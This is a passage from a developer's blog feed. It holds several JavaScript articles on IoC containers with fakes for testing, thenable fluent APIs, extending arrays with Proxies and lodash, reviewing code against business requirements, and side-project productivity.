<p>This works, but there is the problem that if you have tests that require the actual database in the userService, these might also receive the TeastableDatabase now. Let's create a <code>fake</code> and <code>restore</code> method on the ioc object instead. We also have to alter our <code>use</code> method a little</p>
<pre class="hljs"><code>global.ioc = {
    <span class="hljs-attr">container</span>: <span class="hljs-keyword">new</span> <span class="hljs-built_in">Map</span>,
    <span class="hljs-attr">fakes</span>: <span class="hljs-keyword">new</span> <span class="hljs-built_in">Map</span>,
    bind(key, callback) {
        <span class="hljs-keyword">this</span>.container.set(key, {callback, <span class="hljs-attr">singleton</span>: <span class="hljs-literal">false</span>})
    },
    singleton(key, callback) {
        <span class="hljs-keyword">this</span>.container.set(key, {callback, <span class="hljs-attr">singleton</span>: <span class="hljs-literal">true</span>})
    },
    fake(key, callback) {
        <span class="hljs-keyword">const</span> item = <span class="hljs-keyword">this</span>.container.get(key)
        
        <span class="hljs-keyword">if</span> (!item) {
            <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(<span class="hljs-string">'item not in ioc container'</span>)
        }

        <span class="hljs-keyword">this</span>.fakes.set(key, {callback, <span class="hljs-attr">singleton</span>: item.singleton})
    },
    restore(key) {
        <span class="hljs-keyword">this</span>.fakes.delete(key)
    },
    use(key) {
        <span class="hljs-keyword">let</span> item = <span class="hljs-keyword">this</span>.container.get(key)
        
        <span class="hljs-keyword">if</span> (!item) {
            <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(<span class="hljs-string">'item not in ioc container'</span>)
        }

        <span class="hljs-keyword">if</span> (<span class="hljs-keyword">this</span>.fakes.has(key)) {
            item = <span class="hljs-keyword">this</span>.fakes.get(key)
        }

        <span class="hljs-keyword">if</span> (item.singleton &amp;&amp; !item.instance) {
            item.instance = item.callback()
        }

        <span class="hljs-keyword">return</span> item.singleton ? item.instance : item.callback()
    },
}
</code></pre>
<p>And let's update our test</p>
<pre class="hljs"><code>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">TestableDatabase</span> </span>{
    insert() {
        <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>
    }
}


ioc.fake(<span class="hljs-string">'userService'</span>, () =&gt; <span class="hljs-keyword">new</span> UserService(<span class="hljs-keyword">new</span> TestableDatabase))

ioc.use(<span class="hljs-string">'userService'</span>).create({<span class="hljs-attr">id</span>: <span class="hljs-number">1</span>})

ioc.restore(<span class="hljs-string">'userService'</span>)
</code></pre>
<h2 id="other-use-cases">Other use cases</h2>
<h3 id="avoids-useless-abstractions">Avoids useless abstractions</h3>
<p>This example is taken from <a href="https://adonisjs.com/docs/4.1/ioc-container">the Adonis documentation</a>.</p>
<p>Some objects you want to instantiate one time and then use repeatedly. You usually do this by having a separate file just to handle the singleton.</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> knex = <span class="hljs-built_in">require</span>(<span class="hljs-string">'knex'</span>)

<span class="hljs-keyword">const</span> connection = knex({
  <span class="hljs-attr">client</span>: <span class="hljs-string">'mysql'</span>,
  <span class="hljs-attr">connection</span>: {}
})

<span class="hljs-built_in">module</span>.exports = connection
</code></pre>
<p>With the IoC container this abstraction is not necessary, thus making the code base cleaner.</p>
<h3 id="avoids-relative-require">Avoids relative require</h3>
<p>Imagine you are somewhere very deep inside the file <code>app/controllers/auth/UserController.js</code> and want to require the file <code>app/apis/GitHub.js</code>. How do you do that normally?</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> GitHub = <span class="hljs-built_in">require</span>(<span class="hljs-string">'../../apis/GitHub'</span>)
</code></pre>
<p>How about we add this to the service container instead?</p>
<pre class="hljs"><code><span class="hljs-comment">// providers/AppProvider.js</span>

ioc.bind(<span class="hljs-string">'API/GitHub'</span>, () =&gt; <span class="hljs-built_in">require</span>(<span class="hljs-string">'../app/apis/GitHub'</span>)
</code></pre>
<p>and now we can use it like this from anywhere</p>
<pre class="hljs"><code>ioc.use(<span class="hljs-string">'API/GitHub'</span>)
</code></pre>
<p>Since it is annoying to do that for every file, let's simply add a method to require files from the root directory.</p>
<p>Add the following code to the end of the <code>ioc.use</code> method and remove the exception throw when the key was not found.</p>
<pre class="hljs"><code>global.ioc = {
<span class="hljs-comment">// ...</span>
    use(key) {
        <span class="hljs-comment">// ...</span>
        <span class="hljs-keyword">return</span> <span class="hljs-built_in">require</span>(path.join(rootPath, namespace))
    }
}
</code></pre>
<p>Now we can access the GitHub service using</p>
<pre class="hljs"><code>ioc.use(<span class="hljs-string">'apis/GitHub'</span>)
</code></pre>
<p>But with that the ioc container must live in the root of the directory. Let's extract the IoC container out and make a factory out of it. The end result is</p>
<pre class="hljs"><code><span class="hljs-comment">//lib/ioc.js</span>

<span class="hljs-built_in">module</span>.exports = <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">createIoC</span>(<span class="hljs-params">rootPath</span>) </span>{
    <span class="hljs-keyword">return</span> {
        <span class="hljs-attr">container</span>: <span class="hljs-keyword">new</span> <span class="hljs-built_in">Map</span>,
        <span class="hljs-attr">fakes</span>: <span class="hljs-keyword">new</span> <span class="hljs-built_in">Map</span>,
        bind(key, callback) {
            <span class="hljs-keyword">this</span>.container.set(key, {callback, <span class="hljs-attr">singleton</span>: <span class="hljs-literal">false</span>})
        },
        singleton(key, callback) {
            <span class="hljs-keyword">this</span>.container.set(key, {callback, <span class="hljs-attr">singleton</span>: <span class="hljs-literal">true</span>})
        },
        fake(key, callback) {
            <span class="hljs-keyword">const</span> item = <span class="hljs-keyword">this</span>.container.get(key)
            
            <span class="hljs-keyword">if</span> (!item) {
                <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(<span class="hljs-string">'item not in ioc container'</span>)
            }
    
            <span class="hljs-keyword">this</span>.fakes.set(key, {callback, <span class="hljs-attr">singleton</span>: item.singleton})
        },
        restore(key) {
            <span class="hljs-keyword">this</span>.fakes.delete(key)
        },
        use(namespace) {
            <span class="hljs-keyword">let</span> item = <span class="hljs-keyword">this</span>.container.get(namespace)
            
            <span class="hljs-keyword">if</span> (item) {
                <span class="hljs-keyword">if</span> (<span class="hljs-keyword">this</span>.fakes.has(namespace)) {
                    item = <span class="hljs-keyword">this</span>.fakes.get(namespace)
                }
        
                <span class="hljs-keyword">if</span> (item.singleton &amp;&amp; !item.instance) {
                    item.instance = item.callback()
                }
        
                <span class="hljs-keyword">return</span> item.singleton ? item.instance : item.callback()
            }

            <span class="hljs-keyword">return</span> <span class="hljs-built_in">require</span>(path.join(rootPath, namespace))
        }
    }
}
</code></pre>
<p>We wrapped the object inside the function <code>createIoC</code> that expects the root path to be passed in. The &quot;require&quot; method now returns the following <code>return require(rootPath + '/' + path)</code>.</p>
<p>And inside <code>index.js</code> we now have to create the container like this</p>
<pre class="hljs"><code>global.ioc = <span class="hljs-built_in">require</span>(<span class="hljs-string">'./lib/ioc'</span>)(__dirname)
</code></pre>
<hr>
<p>And that's it for the basics of IoC! I put the <a href="https://github.com/MZanggl/ioc-node">code on GitHub</a> where you can check it out again. I also added some tests to it and made it possible to fake root requires as well.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Document your thoughts]]></title>
            <link>https://michaelzanggl.com/articles/document-your-thoughts/</link>
            <guid>document-your-thoughts</guid>
            <description><![CDATA[How writing ideas up helps with conceptualizing thoughts.]]></description>
            <content:encoded><![CDATA[<p>Here's a nice little habit I've picked up recently.</p>
<p>I was working on a feature for a side project, but I struggled coming up with the right approach. For a couple of days, I was procrastinating on it, working on other parts of the app (you know, coding). I tried taking notes in bulleted lists and doing some brainstorming with mind maps. But it was all still so blurry. There was no clear path.</p>
<p>Then I tried something different. After reading some of the stuff from the people at basecamp, I followed their recommendations and started writing. And I mean actually writing, using proper sentences rather than just bullet points. It was very casual as if I was talking to a person, telling him/her/me(?) about all the problems with the first approach, and how the other one just isn't compelling enough.</p>
<p>It conceptualized my thoughts, put them into order and laid everything out in front of me.</p>
<x-ad />
<p>The end result was a mix of multiple approaches and things that I have not even thought of before. And it only took an hour of writing to clear my brain that has been foggy for days now.</p>
<p>One more thing I came to understand:</p>
<p>I can type pretty fast, but I realized that typing fast was paradoxically slowing me down. My thoughts couldn't catch up. I couldn't keep the &quot;conversation&quot; going.  So try slowing down when you feel the same way.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Code reviews - Are you checking for this?]]></title>
            <link>https://michaelzanggl.com/articles/effective-code-reviews/</link>
            <guid>effective-code-reviews</guid>
            <description><![CDATA[One often overlooked thing in code reviews]]></description>
            <content:encoded><![CDATA[<p>What do you look for when you review your peer's code? Is it that the new code is consistent with the existing codebase? Do you check for typos? Existence of tests? Correct formatting? Documentation? That the code logic is correct and easy to grasp?</p>
<p>While some of the above can be automated, these may all be important things to check in your daily code reviews.</p>
<p>And while developers love their code patterns and clean code, there is one aspect in code reviews that should be prioritized: The business requirements.</p>
<p>Take this piece of code for example:</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> title = article.title
<span class="hljs-keyword">return</span> containsProhibitedWord(title)
</code></pre>
<p>Yes, suggesting that the variable &quot;article.title&quot; can be inlined is a good idea. But don’t let that distract you too much, as changing the syntax doesn’t fix the fact that the article body also needs to be checked.</p>
<p>That’s why it is important to not only review syntax and architecture, but also the actual implementation of the requirement.</p>
<p>Note that sometimes, it's after a refactor that you realize the inconsistency with the business requirements because the code is now easier to understand and follow.</p>
<!-- ---

This was an excerpt from my e-book **Intent-Driven Development** which will teach you how to simplify the day-to-day code you run into and the balance between over- and under-engineering. Get it over at https://michaelzanggl.com/intent. -->]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Detecting the end of a fluent API chain in JavaScript]]></title>
            <link>https://michaelzanggl.com/articles/end-of-chain/</link>
            <guid>end-of-chain</guid>
            <description><![CDATA[Or: how to duck-type internal JavaScript objects!]]></description>
            <content:encoded><![CDATA[<p>Say, we are building a test library and want to create a fluent API for sending requests in integration tests.</p>
<p>We can turn something like this</p>
<pre class="hljs"><code><span class="hljs-comment">// notice the explicit `.end()`</span>
<span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> <span class="hljs-keyword">new</span> Client().get(<span class="hljs-string">'/blogs'</span>).as(<span class="hljs-string">'🦆'</span>).end()
<span class="hljs-comment">// or</span>
<span class="hljs-keyword">const</span> response2 = <span class="hljs-keyword">await</span> <span class="hljs-keyword">new</span> Client().as(<span class="hljs-string">'🦆'</span>).get(<span class="hljs-string">'/blogs'</span>).end()
</code></pre>
<p>into</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> <span class="hljs-keyword">new</span> Client().get(<span class="hljs-string">'/blogs'</span>).as(<span class="hljs-string">'🦆'</span>)
<span class="hljs-comment">// or</span>
<span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> <span class="hljs-keyword">new</span> Client().as(<span class="hljs-string">'🦆'</span>).get(<span class="hljs-string">'/blogs'</span>)
</code></pre>
<p>As you can see, we can chain the methods any way we want, but somehow end up with the response. All without an explicit method to end the chain like <code>end()</code>.</p>
<p>How does it work? Well, it all lies in the little magic word <code>await</code>.</p>
<x-ad />
<p>Unfortunately, that also means that detecting the end of a chain only works for asynchronous operations. I mean, theoretically, you could do it with synchronous code but you would have to use the <code>await</code> keyword, which might throw some off. Apart from this hack, there is no way in JavaScript currently to detect the end of a chain for synchronous operations.</p>
<p>So let's look at the first implementation with the explicit <code>.end()</code> method. <a href="#solution">Or jump straight to the solution</a>.</p>
<p>Here is a possible API:</p>
<pre class="hljs"><code><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Client</span> </span>{
  <span class="hljs-keyword">as</span>(user) {
    <span class="hljs-keyword">this</span>.user = user
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">this</span>
  }

  <span class="hljs-keyword">get</span>(endpoint) {
    <span class="hljs-keyword">this</span>.endpoint = endpoint
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">this</span>
  }

  <span class="hljs-keyword">async</span> end() {
    <span class="hljs-keyword">return</span> fetch(<span class="hljs-keyword">this</span>.endpoint, { <span class="hljs-attr">headers</span>: { ... } })
  }
}
</code></pre>
<h3 id="solution">Solution</h3>
<p>And here is the little trick to achieve it without an explicit <code>end()</code> method.</p>
<pre class="hljs"><code><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Client</span> </span>{
  <span class="hljs-keyword">as</span>(user) {
    <span class="hljs-keyword">this</span>.user = user
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">this</span>
  }

  <span class="hljs-keyword">get</span>(endpoint) {
    <span class="hljs-keyword">this</span>.endpoint = endpoint
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">this</span>
  }

  <span class="hljs-keyword">async</span> then(resolve, reject) {
    resolve(fetch(<span class="hljs-keyword">this</span>.endpoint, { <span class="hljs-attr">headers</span>: { ... } }))
  }
}
</code></pre>
<p>So all we needed to do was switching out &quot;end()&quot; with &quot;then()&quot; and instead of returning the result, we pass it through the <code>resolve</code> callback.</p>
<p>If you have worked with promises, you are probably already familiar with the word <code>then</code>. And if you ever used <code>new Promise((resolve, reject) =&gt; ...</code> this syntax will look weirdly familiar.</p>
<p>Congratulations. You have just successfully duck-typed <a href="https://promisesaplus.com/">A+ promises</a>.</p>
<p>A promise is nothing more than a &quot;thenable&quot; (an object with a <code>then()</code> method), which conforms to the specs. And <code>await</code> is simply a wrapper around promises to provide cleaner, concise syntax.</p>
<p>So in summary, to achieve an async fluent API, all you need to do is define a &quot;then&quot; method which either resolves or rejects any value through the two given arguments.</p>
<hr>
<p><strong>Note:</strong> To be fair, there are some subtleties that we've missed with this simple approach. For example, calling &quot;then&quot; on a promise multiple times will only execute it the first time it gets called. You can achieve the same here by keeping a reference to the promise on the class instance when &quot;then&quot; is called. Subsequent calls would then simply return that reference.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Extending arrays using proxies in JavaScript]]></title>
            <link>https://michaelzanggl.com/articles/extending-arrays-using-proxies/</link>
            <guid>extending-arrays-using-proxies</guid>
            <content:encoded><![CDATA[<p>In the last post we were looking at subclassing arrays. This time let's check out another feature ES6 brought to the table. Proxies!</p>
<p>We will continue in the spirit of test driven development. If you haven't read the
previous post, we basically installed mocha and chai for testing and have a <code>src</code> as well as a <code>test</code> folder.</p>
<p>The goal is to have dynamic method names on our arrays so we can basically integrate any library.</p>
<p>Let me introduce to you <code>roxy</code>. You can find the GitHub <a href="https://github.com/MZanggl/roxy">here</a>.</p>
<p>Before I even explain what proxies are, let's take a look at the test so you have a better picture of what we are trying to achieve.</p>
<blockquote>
<p>Be aware that due to the nature of proxies, they are not polyfillable.</p>
</blockquote>
<p>In the last post we were integrating the pluck method first. In case you are unfamiliar with it, here is the ES6 way of doing it</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> locations = [
  { <span class="hljs-attr">city</span>: <span class="hljs-string">'Tokyo'</span> },
  { <span class="hljs-attr">city</span>: <span class="hljs-string">'Naha'</span> },
]

<span class="hljs-comment">// pluck in ES6</span>
<span class="hljs-keyword">const</span> cities = locations.map(<span class="hljs-function"><span class="hljs-params">loc</span> =&gt;</span> loc.city)
cities <span class="hljs-comment">//? [ 'Tokyo', 'Naha']</span>
</code></pre>
<p>The goal was to turn <code>locations.map(loc =&gt; loc.city)</code> into <code>locations.pluck('city')</code>.</p>
<x-ad />
<p>To help us achieve the goal and add many other useful methods at the same time, let's integrate lodash.</p>
<p>In order to pluck using lodash you use lodash's own <code>map</code> method. If you pass a string instead of a function as the second argument, that string becomes the key it will pluck.</p>
<pre class="hljs"><code>_.map(locations, <span class="hljs-string">'city'</span>)
</code></pre>
<p>So here are the tests</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> expect = <span class="hljs-built_in">require</span>(<span class="hljs-string">'chai'</span>).expect
<span class="hljs-keyword">const</span> { proxy } = <span class="hljs-built_in">require</span>(<span class="hljs-string">'../src/roxy'</span>)

describe(<span class="hljs-string">'proxy'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
    it(<span class="hljs-string">'should be able to access Array.prototype methods'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-keyword">const</span> numbers = proxy([<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>])
        numbers.copyWithin(<span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">2</span>) <span class="hljs-comment">// lodash doesn't have `copyWithin`</span>
        expect(numbers).to.deep.equal([ <span class="hljs-number">2</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span> ])
    })

    it(<span class="hljs-string">'should pluck using lodash method'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-keyword">const</span> numbers = proxy([
            { <span class="hljs-attr">id</span>: <span class="hljs-number">1</span> },
            { <span class="hljs-attr">id</span>: <span class="hljs-number">2</span> },
            { <span class="hljs-attr">id</span>: <span class="hljs-number">3</span> },
        ])

        <span class="hljs-keyword">const</span> result = numbers.map(<span class="hljs-string">'id'</span>)
        expect(result).to.deep.equal([ <span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span> ])
    })
})
</code></pre>
<p>That's pretty cool. We got rid of the <code>new</code> keyword and classes altogether. Let's check out <code>roxy.js</code>.</p>
<pre class="hljs"><code><span class="hljs-comment">// let's only load the lodash methods we need</span>
<span class="hljs-keyword">var</span> lodashArray = <span class="hljs-built_in">require</span>(<span class="hljs-string">'lodash/array'</span>)
<span class="hljs-keyword">var</span> lodashCollection = <span class="hljs-built_in">require</span>(<span class="hljs-string">'lodash/collection'</span>)

<span class="hljs-keyword">const</span> proxySymbol = <span class="hljs-built_in">Symbol</span>(<span class="hljs-string">'isProxy'</span>)

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_transformResult</span>(<span class="hljs-params">result</span>) </span>{
    <span class="hljs-keyword">if</span> (<span class="hljs-built_in">Array</span>.isArray(result) &amp;&amp; !result[proxySymbol]) {
        <span class="hljs-keyword">return</span> proxy(result)
    }
    <span class="hljs-keyword">return</span> result
}

<span class="hljs-keyword">const</span> libraryList = [lodashCollection, lodashArray]

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">proxy</span>(<span class="hljs-params">array</span>) </span>{
    <span class="hljs-keyword">const</span> handler = {
        <span class="hljs-attr">get</span>: <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">get</span>(<span class="hljs-params">target, prop</span>) </span>{
            <span class="hljs-keyword">const</span> library = libraryList.find(<span class="hljs-function"><span class="hljs-params">library</span> =&gt;</span> <span class="hljs-keyword">typeof</span> library[prop] === <span class="hljs-string">'function'</span>)
            <span class="hljs-keyword">if</span> (library) {
                <span class="hljs-keyword">return</span> <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">...args</span>) </span>{
                    <span class="hljs-keyword">const</span> result = library[prop](<span class="hljs-keyword">this</span>, ...args)
                    <span class="hljs-keyword">return</span> _transformResult(result)
                }
            }

            <span class="hljs-keyword">if</span> (<span class="hljs-keyword">typeof</span> target[prop] !== <span class="hljs-string">'undefined'</span>) {
                <span class="hljs-keyword">return</span> target[prop]
            }

            <span class="hljs-keyword">if</span> (prop === proxySymbol) {
                <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>
            }
        }
    }
    
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Proxy</span>(array, handler)
}

<span class="hljs-built_in">module</span>.exports = {
    proxy,
}
</code></pre>
<p>Proxies are exactly what their name suggest. We could also say it is a gateway to the actual array. But the gateway is guarded by so called <code>traps</code>. In this case, whenever you access a property on the array, it will not actually access it, but it will get <code>trapped</code> in the <code>get</code> method of our handler, so let's go through it step by step to understand it.</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> library = libraryList.find(<span class="hljs-function"><span class="hljs-params">library</span> =&gt;</span> <span class="hljs-keyword">typeof</span> library[prop] === <span class="hljs-string">'function'</span>)
<span class="hljs-keyword">if</span> (library) {
    <span class="hljs-keyword">return</span> <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">...args</span>) </span>{
        <span class="hljs-keyword">const</span> result = library[prop](<span class="hljs-keyword">this</span>, ...args)
        <span class="hljs-keyword">return</span> _transformResult(result)
    }
}
</code></pre>
<p>First, we check if the method is either inside lodash collections or lodash arrays.</p>
<p>If you access <code>array.map</code> it will find it inside <code>lodashCollection</code> and return a new function. The function already knows at that point that <code>library[prop]</code> will be <code>lodashCollection.map</code>.</p>
<p>Then, when you execute the function like this <code>array.map('id')</code>, it will take the arguments you passed and executes the lodash function together with the actual array as the first argument.</p>
<p>With <code>_transformResult</code> we will proxy the result again in case it is a normal array. This allows for better chaining.</p>
<hr>
<pre class="hljs"><code><span class="hljs-keyword">if</span> (<span class="hljs-keyword">typeof</span> target[prop] !== <span class="hljs-string">'undefined'</span>) {
    <span class="hljs-keyword">return</span> target[prop]
}
</code></pre>
<p>Next, we want to check if the method is an existing property of the array and simply return it. This would be the case for accessing the <code>length</code> property or methods like <code>copyWithin</code> that don't exist in lodash.</p>
<pre class="hljs"><code><span class="hljs-keyword">if</span> (prop === proxySymbol) {
    <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>
}
</code></pre>
<p>This lets us know whether an array is a roxy instance or not. In <code>_transformResult</code> when we access <code>result[proxySymbol]</code> and <code>result</code> is already a roxy instance, it would get trapped in the <code>get</code> method and would return true at this point <code>if (prop === proxySymbol)</code>. So in case the returned array is already a roxy instance, no need to proxy it again.</p>
<p>Check out the part of <code>_transformResult</code> again:</p>
<pre class="hljs"><code><span class="hljs-keyword">if</span> (<span class="hljs-built_in">Array</span>.isArray(result) &amp;&amp; !result[proxySymbol]) {
    <span class="hljs-keyword">return</span> proxy(result)
}
<span class="hljs-keyword">return</span> result
</code></pre>
<p>We can check if <code>_transformResult</code> works by writing another test</p>
<pre class="hljs"><code>it(<span class="hljs-string">'should be able to chain lodash methods'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-keyword">const</span> locations = proxy([
        { <span class="hljs-attr">location</span>: {<span class="hljs-attr">city</span>: <span class="hljs-number">1</span> } },
        { <span class="hljs-attr">location</span>: {<span class="hljs-attr">city</span>: <span class="hljs-number">2</span> } },
        { <span class="hljs-attr">location</span>: {<span class="hljs-attr">city</span>: <span class="hljs-number">3</span> } },
    ])

    <span class="hljs-keyword">const</span> result = locations.map(<span class="hljs-string">'location'</span>).map(<span class="hljs-string">'city'</span>)
    expect(result).to.deep.equal([ <span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span> ])
})
</code></pre>
<p>The same way you can now use lodash's <code>map</code> method, you should be able to use a bunch more like <code>chunk</code>, <code>keyBy</code>, <code>shuffle</code> and so on.</p>
<p>Of course you don't have to use <code>lodash</code>. You can do something similar with any array library. But there is probably not a single library that would fulfill all your expecations. So let's also add a method to create custom macros.</p>
<p>The test</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> { proxy, macro } = <span class="hljs-built_in">require</span>(<span class="hljs-string">'../src/roxy'</span>)

<span class="hljs-comment">// ...</span>

it(<span class="hljs-string">'can use macros'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
    macro(<span class="hljs-string">'stringify'</span>, (array, prepend) =&gt; prepend + <span class="hljs-built_in">JSON</span>.stringify(array))

    <span class="hljs-keyword">const</span> numbers = proxy([<span class="hljs-number">1</span>, <span class="hljs-number">2</span>])
    <span class="hljs-keyword">const</span> result = numbers.stringify(<span class="hljs-string">'array: '</span>)
    expect(result).to.equal(<span class="hljs-string">'array: [1,2]'</span>)
})
</code></pre>
<p>For the implementation, we only have to do a couple things.</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> macroMap = {}
<span class="hljs-keyword">const</span> libraryList = [lodashCollection, lodashArray, macroMap]

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">macro</span>(<span class="hljs-params">name, fn</span>) </span>{
    macroMap[name] = fn
}

<span class="hljs-comment">// ...</span>

<span class="hljs-built_in">module</span>.exports = {
    proxy,
    macro,
}
</code></pre>
<p>And that's all there is to it!</p>
<h2 id="conclusion">Conclusion</h2>
<p>Proxies offer a wide range of new possibilities to explore. In fact the <a href="https://medium.com/vue-mastery/evan-you-previews-vue-js-3-0-ab063dec3547">next major version of vue will use proxies for its reactivity system</a>. This tutorial made only use of the <code>get</code> trap. There are actually many more like <code>set</code>, <code>construct</code>, <code>has</code>, etc. Check out the mdn references below to learn more about proxies.</p>
<h2 id="references">References</h2>
<ul>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy">https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy</a></li>
<li><a href="https://github.com/MZanggl/roxy">https://github.com/MZanggl/roxy</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol">https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol</a></li>
</ul>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Getting things done when you don't have the time]]></title>
            <link>https://michaelzanggl.com/articles/getting-things-done-when-you-dont-have-the-time/</link>
            <guid>getting-things-done-when-you-dont-have-the-time</guid>
            <description><![CDATA[We all have obligations and sometimes it feels it can be quite tricky to make time for side projects.]]></description>
            <content:encoded><![CDATA[<p>We all have obligations. And especially once you have kids around, it can become quite tricky to make time for doing some side projects.</p>
<p>But I wouldn't say it's impossible. In fact, there are quite a few things you can do to get projects done.</p>
<blockquote>
<p>Note that the things I point out are even better when you DO have the time. Imagine how much time you save for other things.</p>
</blockquote>
<x-ad />
<h3 id="apply-yangi-not-only-to-code-but-to-the-product-too">Apply YANGI not only to code but to the product too</h3>
<p>You might already apply the principle of YAGNI (you ain't gonna need it) to the code that you write, writing only what is essential and needed right now, and not things you might need in the future. We can take that same principle and apply it to the product we are building.</p>
<p>Say you are running <a href="http://dev.to">dev.to</a>. When people create blog posts they can add predefined tags to them. Now, say the predefined tags are not enough and <a href="http://dev.to">dev.to</a> wants its users to somehow be able to add completely new tags but only upon review.</p>
<p>There are two ways you could do this</p>
<p>The hard way:</p>
<ul>
<li>Let user add any tag and show warning that nonexisting tags will first be reviewed</li>
<li>We now have to save the tag in the DB with a special &quot;for review&quot;-flag</li>
<li>We also need a new UI on some form of CMS to go through these and review them</li>
<li>We need to send an automated mail when a tag has been accepted/rejected</li>
</ul>
<p>Or the simple way: When entering a tag, the tag suggestions already show a message that tags have rules and guidelines to follow. Simply extend this message to say: &quot;To suggest new tags send us an email at <a href="mailto:yo@dev.to">yo@dev.to</a>&quot;.</p>
<p>The problem with the first approach is that it has a bunch of dependencies like database, changes to the backend, even an admin panel. The second approach reuses something that already exists in the app, and only requires minimal changes on the UI. We might get to the first approach eventually, but we will know better what to build once we release a simple version of the core idea.</p>
<p>This leads us to the next point...</p>
<h3 id="work-in-small-iterations">Work in small iterations</h3>
<p>Like in the example above, think <strong>what is the simplest thing you can build</strong>. You don't want to spend 1 week on a feature that turns into 3 weeks because you suddenly run into all kinds of inconsistencies with dependencies. That can be quite exhausting. Think small, and you might not even need that perfect solution in the end.
Once the core idea is out, you will have a better understanding of how your users actually use this feature and you can better judge how to go from here.</p>
<p>Another example would be working on a new website. Start with a feature, the core thing. No reason for a header, footer, special font or sidebar right away.</p>
<h3 id="most-have-2-hours-a-week">Most have 2 hours a week</h3>
<p>Try to block out two hours a week. Maybe one hour on Sunday morning and one hour on Wednesday night.</p>
<p>This tip goes to Jeffrey Way in his podcast episode <a href="https://podcasts.apple.com/us/podcast/focus-on-two-hours-not-two-years/id1059530816?i=1000457161873">Focus on two hours, not two years</a></p>
<h4 id="define-your-goal-for-each-session">Define your goal for each session</h4>
<p>Say you split your time up into two 1 hour sessions a week. When you start a session set a goal and focus! That means no social media, no videos, no news, no twitter, no kids, no games. Block out all distractions!</p>
<h3 id="dont-get-stuck-on-the-little-things">Don't get stuck on the little things</h3>
<p>This goes hand in hand with the previous point. Focus on your goal. This is not the time to refactor some random file you stumbled upon, or to play with lint rules, or to fix a type issue in an open-source library you are using. If you do believe these are important, take a note and turn it into a separate session! You can host your project privately on GitLab/GitHub and use the issue tracker to keep track of everything that needs to be done.</p>
<h3 id="know-when-to-break-out-of-a-problem-chain">Know when to break out of a problem chain</h3>
<p><a href="https://twitter.com/calebporzio/status/1140660410410033152">This tweet</a> from Caleb Porzio tells it so nicely:</p>
<blockquote>
<p>Knowing when to back out of a problem chain and re-evaluate the original problem.</p>
</blockquote>
<h3 id="what-tools-to-choose">What tools to choose</h3>
<p>You don't need a fully dockerized scalable microservice architecture with GraphQL API and micro frontends with redux and TDD, BDD and DDD.</p>
<p>If you are productive with these tools, by no means go for it. Also, if that's exactly what you want to learn with this side project, again, go for it!</p>
<p>But if your goal is to build a product and the tech is just a way to help you get there, then you might want to choose a more high-level framework.</p>
<p>Coding, in the end, is kind of like building Lego's. Using a framework, you simply put together 64x64 instead of 4x4 pieces. They let you focus on actually building the product you set out to make and it doesn't keep you distracted on things like architecture, authentication, DB access etc.</p>
<p>On the backend there are some very nice &quot;all-purpose&quot; battery included frameworks like Rails (ruby), Laravel (PHP) or AdonisJs (javascript). I recommend reading the paragraph <a href="https://rubyonrails.org/doctrine/#omakase">the menu is omakase</a> from the rails doctrine.</p>
<hr>
